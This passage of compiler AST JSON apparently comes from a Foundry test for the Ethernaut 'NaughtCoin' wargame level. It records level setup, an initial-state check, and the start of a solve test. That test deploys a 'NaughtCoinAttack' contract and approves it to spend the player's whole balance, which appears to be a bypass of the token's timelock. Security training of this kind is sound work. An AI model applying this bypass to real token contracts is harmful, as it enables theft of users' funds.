Vm"}},"id":62841,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"868:5:140","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"865:8:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"865:24:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62845,"nodeType":"ExpressionStatement","src":"865:24:140"},{"expression":{"id":62850,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62846,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"900:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":62847,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62828,"src":"909:5:140","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":62849,"indexExpression":{"hexValue":"31","id":62848,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"915:1:140","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"909:8:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"900:17:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62851,"nodeType":"ExpressionStatement","src":"900:17:140"},{"expression":{"arguments":[{"id":62855,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"936:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":62856,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"944:8:140","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":62852,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"927:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62854,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"930:5:140","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"927:8:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":62857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"927:26:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62858,"nodeType":"ExpressionStatement","src":"927:26:140"},{"expression":{"arguments":[{"id":62862,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62821,"src":"978:5:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62859,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"964:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62861,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"967:10:140","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"964:13:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62863,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"964:20:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62864,"nodeType":"ExpressionStatement","src":"964:20:140"},{"expression":{"id":62869,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62865,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62816,"src":"994:9:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":62867,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62821,"src":"1033:5:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62866,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"1006:26:140","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":62868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1006:33:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"994:45:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62870,"nodeType":"ExpressionStatement","src":"994:45:140"},{"assignments":[62873],"declarations":[{"constant":false,"id":62873,"mutability":"mutable","name":"factory","nameLocation":"1067:7:140","nodeType":"VariableDeclaration","scope":62924,"src":"1049:25:140","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"},"typeName":{"id":62872,"nodeType":"UserDefinedTypeName","pathNode":{"id":62871,"name":"NaughtCoinFactory","nameLocations":["1049:17:140"],"nodeType":"IdentifierPath","referencedDeclaration":53962,"src":"1049:17:140"},"referencedDeclaration":53962,"src":"1049:17:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}},"visibility":"internal"}],"id":62878,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62876,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1077:21:140","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_NaughtCoinFactory_$53962_$","typeString":"function () returns (contract NaughtCoinFactory)"},"typeName":{"id":62875,"nodeType":"UserDefinedTypeName","pathNode":{"id":62874,"name":"NaughtCoinFactory","nameLocations":["1081:17:140"],"nodeType":"IdentifierPath","referencedDeclaration":53962,"src":"1081:17:140"},"referencedDeclaration":53962,"src":"1081:17:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}}},"id":62877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1077:23:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}},"nodeType":"VariableDeclarationStatement","src":"1049:51:140"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":62885,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62873,"src":"1148:7:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}],"id":62884,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1140:7:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62883,"name":"address","nodeType":"ElementaryTypeName","src":"1140:7:140","typeDescriptions":{}}},"id":62886,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1140:16:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62882,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1134:5:140","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62887,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1134:23:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":62879,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62816,"src":"1110:9:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":62881,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1120:13:140","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1110:23:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":62888,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1110:48:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62889,"nodeType":"ExpressionStatement","src":"1110:48:140"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62890,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1168:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62892,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1171:9:140","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1168:12:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1168:14:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62894,"nodeType":"ExpressionStatement","src":"1168:14:140"},{"expression":{"arguments":[{"id":62898,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"1207:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62895,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1193:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62897,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1196:10:140","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1193:13:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62899,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1193:21:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62900,"nodeType":"ExpressionStatement","src":"1193:21:140"},{"expression":{"id":62917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":62901,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62819,"src":"1224:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":62906,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62816,"src":"1274:9:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":62910,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62873,"src":"1299:7:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoinFactory_$53962","typeString":"contract NaughtCoinFactory"}],"id":62909,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1291:7:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62908,"name":"address","nodeType":"ElementaryTypeName","src":"1291:7:140","typeDescriptions":{}}},"id":62911,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1291:16:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62907,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1285:5:140","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":62912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1285:23:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":62913,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1310:1:140","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":62905,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1254:19:140","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":62914,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1254:58:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62904,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1246:8:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62903,"name":"address","nodeType":"ElementaryTypeName","src":"1246:8:140","stateMutability":"payable","typeDescriptions":{}}},"id":62915,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1246:67:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62902,"name":"NaughtCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53912,"src":"1235:10:140","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_NaughtCoin_$53912_$","typeString":"type(contract NaughtCoin)"}},"id":62916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1235:79:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"src":"1224:90:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"id":62918,"nodeType":"ExpressionStatement","src":"1224:90:140"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62919,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1324:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62921,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1327:9:140","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1324:12:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62922,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1324:14:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62923,"nodeType":"ExpressionStatement","src":"1324:14:140"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"756:5:140","parameters":{"id":62824,"nodeType":"ParameterList","parameters":[],"src":"761:2:140"},"returnParameters":{"id":62825,"nodeType":"ParameterList","parameters":[],"src":"771:0:140"},"scope":62999,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62946,"nodeType":"FunctionDefinition","src":"1597:137:140","nodes":[],"body":{"id":62945,"nodeType":"Block","src":"1624:110:140","nodes":[],"statements":[{"expression":{"arguments":[{"id":62932,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"1648:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62929,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1634:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62931,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1637:10:140","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1634:13:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62933,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1634:21:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62934,"nodeType":"ExpressionStatement","src":"1634:21:140"},{"expression":{"arguments":[{"arguments":[{"id":62937,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62816,"src":"1697:9:140","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":62940,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62819,"src":"1716:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}],"id":62939,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1708:7:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62938,"name":"address","nodeType":"ElementaryTypeName","src":"1708:7:140","typeDescriptions":{}}},"id":62941,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1708:17:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":62936,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1677:19:140","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62942,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1677:49:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62935,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1665:11:140","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1665:62:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62944,"nodeType":"ExpressionStatement","src":"1665:62:140"}]},"documentation":{"id":62926,"nodeType":"StructuredDocumentation","src":"1529:63:140","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1606:8:140","parameters":{"id":62927,"nodeType":"ParameterList","parameters":[],"src":"1614:2:140"},"returnParameters":{"id":62928,"nodeType":"ParameterList","parameters":[],"src":"1624:0:140"},"scope":62999,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62998,"nodeType":"FunctionDefinition","src":"1789:324:140","nodes":[],"body":{"id":62997,"nodeType":"Block","src":"1817:296:140","nodes":[],"statements":[{"expression":{"arguments":[{"id":62953,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"1841:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62950,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1827:2:140","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62952,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1830:10:140","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1827:13:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62954,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1827:21:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62955,"nodeType":"ExpressionStatement","src":"1827:21:140"},{"assignments":[62958],"declarations":[{"constant":false,"id":62958,"mutability":"mutable","name":"attacker","nameLocation":"1876:8:140","nodeType":"VariableDeclaration","scope":62997,"src":"1859:25:140","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"},"typeName":{"id":62957,"nodeType":"UserDefinedTypeName","pathNode":{"id":62956,"name":"NaughtCoinAttack","nameLocations":["1859:16:140"],"nodeType":"IdentifierPath","referencedDeclaration":49658,"src":"1859:16:140"},"referencedDeclaration":49658,"src":"1859:16:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}},"visibility":"internal"}],"id":62963,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":62961,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1887:20:140","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_NaughtCoinAttack_$49658_$","typeString":"function () returns (contract NaughtCoinAttack)"},"typeName":{"id":62960,"nodeType":"UserDefinedTypeName","pathNode":{"id":62959,"name":"NaughtCoinAttack","nameLocations":["1891:16:140"],"nodeType":"IdentifierPath","referencedDeclaration":49658,"src":"1891:16:140"},"referencedDeclaration":49658,"src":"1891:16:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}}},"id":62962,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1887:22:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}},"nodeType":"VariableDeclarationStatement","src":"1859:50:140"},{"expression":{"arguments":[{"arguments":[{"id":62969,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62958,"src":"1944:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_NaughtCoinAttack_$49658","typeString":"contract NaughtCoinAttack"}],"id":62968,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1936:7:140","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62967,"name":"address","nodeType":"ElementaryTypeName","src":"1936:7:140","typeDescriptions":{}}},"id":62970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1936:17:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":62973,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62823,"src":"1974:6:140","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62971,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62819,"src":"1955:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"id":62972,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1964:9:140","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47374,"src":"1955:18:140","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":62974,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1955:26:140","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":62964,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62819,"src":"1919:8:140","typeDescriptions":{"typeIdentifier":"t_contract$_NaughtCoin_$53912","typeString":"contract NaughtCoin"}},"id":62966,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1928:7:140","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"1919:16:140","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns 